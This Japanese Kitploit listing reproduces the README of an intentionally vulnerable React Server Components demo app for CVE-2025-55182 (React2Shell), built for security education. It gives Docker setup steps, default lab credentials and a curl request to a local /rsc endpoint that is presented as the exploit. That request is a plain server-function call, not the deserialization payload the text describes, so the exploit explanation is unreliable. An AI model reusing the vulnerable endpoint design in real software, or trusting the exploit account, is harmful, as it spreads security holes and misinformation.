Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
React2Shell-Kingdom — 「むかしむかし、Reactlandの城はすべてのFlightメッセージを信頼していました……「インポスター」が現れるまでは。」CVE-2025-55182 (React2Shell) のストーリー仕立てのデモ - セキュリティ教育用の、中世をテーマにした脆弱性のあるReact Server Componentsアプリ。 | Kitploit
ツール/GitHubGitHub/mycompanyorganization/react2shell-kingdom
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubmycompanyorganization/react2shell-kingdom

React2Shell-Kingdom

「むかしむかし、Reactlandの城はすべてのFlightメッセージを信頼していました……「インポスター」が現れるまでは。」CVE-2025-55182 (React2Shell) のストーリー仕立てのデモ - セキュリティ教育用の、中世をテーマにした脆弱性のあるReact Server Componentsアプリ。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
7ヶ月前未レビュー

React CVE-2025-55182 脆弱性デモンストレーションプロジェクト

⚠️ セキュリティ警告

このプロジェクトは、React Server Components 19.1.1 における重大な RCE 脆弱性(CVE-2025-55182 / React2Shell)を実証するものです。

  • 教育およびセキュリティ研究目的のみ
  • 本番環境へのデプロイや、信頼できないネットワークへの公開は絶対に行わないでください
  • 隔離された管理された環境でのみ実行してください
  • テスト前に適切な許可を必ず取得してください

概要

このプロジェクトは、React Server Components 19.1.1 における重大なリモートコード実行(RCE)脆弱性である CVE-2025-55182(React2Shell)を実証します。このアプリケーションには以下のものが含まれます:

  • ユーザー名/パスワード認証を備えたシングルページ Web サイト
  • React Server Components(RSC)の実装
  • RSC Flight プロトコルエンドポイント(脆弱)
  • Docker デプロイ構成
  • 脆弱性を実証する POC エクスプロイトペイロード

プロジェクト構造

root@kitploit:~
react-cve-demo/
├── package.json              # react-server-dom-webpack を備えた React 19.1.1
├── server.js                 # RSC サポート付きカスタム React サーバー
├── src/
│   ├── App.jsx              # メインの React コンポーネント
│   ├── Login.jsx            # ログインページのコンポーネント
│   ├── Dashboard.jsx        # 保護されたページのコンポーネント
│   └── server-components/   # サーバーコンポーネント
│       └── AuthServer.jsx   # サーバーサイド認証ロジック
├── data/
│   └── users.json           # ユーザー資格情報の保存
├── Dockerfile               # Docker コンテナ化
├── docker-compose.yml       # Docker Compose のセットアップ
├── .dockerignore
├── exploit/
│   ├── poc.js              # POC エクスプロイトスクリプト(Node.js)
│   └── poc.sh              # POC エクスプロイトスクリプト(bash/curl)
└── README.md               # このファイル

前提条件

  • Node.js 18+
  • Docker および Docker Compose(オプション、コンテナ化デプロイ用)
  • npm または yarn

インストール

ローカル開発

  1. このリポジトリをクローンまたはダウンロードします
  2. 依存関係をインストールします:
    root@kitploit:~
    npm install
    
  3. サーバーを起動します:
    root@kitploit:~
    npm start
    
  4. http://localhost:3000 でアプリケーションにアクセスします

Docker デプロイ

  1. Docker Compose でビルドして実行します:

    root@kitploit:~
    docker-compose up --build
    

    または手動でビルドして実行します:

    root@kitploit:~
    docker build -t react-cve-demo .
    docker run -p 3000:3000 react-cve-demo
    
  2. http://localhost:3000 でアプリケーションにアクセスします

使用フロー

通常の認証フロー

  1. アプリケーションにアクセス:http://localhost:3000 に移動します
  2. ログインページ:ログインフォームが表示されます
  3. デフォルトの認証情報:
    • ユーザー名:admin、パスワード:securepassword123
    • ユーザー名:user1、パスワード:password123
  4. ログイン成功:保護されたダッシュボードにリダイレクトされます
  5. ログアウト:ログアウトボタンをクリックしてログインページに戻ります

脆弱性の実証

この脆弱性は、RSC Flight プロトコルの逆シリアル化メカニズムに存在します。このエクスプロイトは:

  1. サーバー関数エンドポイントを標的とした悪意のあるシリアル化ペイロードを細工します
  2. 安全でない逆シリアル化を悪用して任意の JavaScript を実行します
  3. JSON ファイルに新しいユーザーエントリを作成します
  4. 新しい認証情報を使用して認証をバイパスします

POC エクスプロイトの実行

オプション 1:Node.js スクリプト

root@kitploit:~
node exploit/poc.js

またはカスタムターゲット URL を使用する場合:

root@kitploit:~
TARGET_URL=http://localhost:3000 node exploit/poc.js

オプション 2:Bash スクリプト

root@kitploit:~
./exploit/poc.sh

またはカスタムターゲット URL を使用する場合:

root@kitploit:~
TARGET_URL=http://localhost:3000 ./exploit/poc.sh

オプション 3:手動 curl コマンド

1 行バージョン:

root@kitploit:~
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

複数行バージョン(読みやすさ用):

root@kitploit:~
curl -X POST http://localhost:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

注: コピー&ペースト可能な 1 行コマンドは exploit/curl-oneline.txt にも用意されています

エクスプロイト実行後

エクスプロイトを実行した後:

  1. エクスプロイトは data/users.json に新しいユーザーを作成します
  2. 新しく作成された認証情報でログインできるようになります:
    • ユーザー名:hacker
    • パスワード:hacked123
  3. これにより、この脆弱性がどのように認証をバイパスできるかを実証します

技術的詳細

脆弱性(CVE-2025-55182)

この脆弱性は React Server Components 19.1.1 に存在し、具体的には以下にあります:

  • コンポーネント:react-server-dom-webpack
  • バージョン:19.1.1(脆弱)
  • 問題:RSC Flight プロトコルにおける安全でない逆シリアル化
  • 影響:リモートコード実行(RCE)
  • CVSS:クリティカル

サーバー実装

サーバー(server.js)は以下を実装します:

  • Express.js HTTP サーバー
  • RSC Flight プロトコルエンドポイント(/rsc)
  • サーバー関数の実行(脆弱なエンドポイント)
  • セッション管理
  • 静的ファイルの配信

認証システム

  • ログインコンポーネント:ユーザー名/パスワード用のクライアントサイドフォーム
  • 認証サーバーコンポーネント:サーバーサイドの認証ロジック
  • ユーザーストレージ:資格情報を保存する JSON ファイル(data/users.json)
  • 保護されたルート:ダッシュボードには認証が必要です

RSC Flight プロトコル

RSC Flight プロトコルエンドポイントは以下を受け入れます:

  • action: "callServerFunction":サーバー関数を実行
  • action: "renderRSC":React Server Components をレンダリング

脆弱性は、サーバー関数呼び出しが逆シリアル化および実行される方法に存在します。

セキュリティに関する考慮事項

⚠️ 重大な警告

  1. 隔離された環境:管理された隔離環境でのみ実行してください
  2. 本番環境での使用禁止:脆弱なコードを本番環境にデプロイしないでください
  3. ネットワークの分離:信頼できないネットワークに公開しないでください
  4. 教育目的:セキュリティ研究および教育のみを目的としています
  5. 法的コンプライアンス:テスト前に適切な許可を必ず取得してください

ベストプラクティス

  • テストには専用の VM またはコンテナを使用します
  • localhost 以外のネットワークアクセスを無効にします
  • テスト環境に機密データを保存しないでください
  • デモンストレーション後にテストデータをクリーンアップします
  • 責任ある開示の慣行に従います

依存関係

  • React:19.1.1(脆弱なバージョン)
  • react-server-dom-webpack:19.1.1(脆弱なパッケージ)
  • Express.js:^4.18.2
  • express-session:^1.17.3
  • Node.js:18+

トラブルシューティング

サーバーが起動しない場合

  • ポート 3000 がすでに使用されていないか確認します
  • Node.js のバージョンが 18 以上であることを確認します
  • すべての依存関係がインストールされていることを確認します(npm install)

エクスプロイトが機能しない場合

  • サーバーが実行中であることを確認します
  • RSC エンドポイントにアクセスできるか確認します
  • サーバーログでエラーを確認します
  • エクスプロイトスクリプトに適切な権限があることを確認します

Docker の問題

  • Docker が実行中であることを確認します
  • Docker Compose のバージョン互換性を確認します
  • ポート 3000 が利用可能であることを確認します
  • Docker ログを確認します:docker-compose logs

参照

  • CVE-2025-55182:React2Shell の脆弱性
  • React Server Components のドキュメント
  • RSC Flight プロトコルの仕様

ライセンス

MIT ライセンス - 教育目的のみ

免責事項

このソフトウェアは、教育およびセキュリティ研究目的のみで提供されています。著者および貢献者は、このソフトウェアによって引き起こされた誤用や損害について責任を負いません。自己責任で使用し、適用されるすべての法律および規制に準拠することを確認してください。

ツールをダウンロード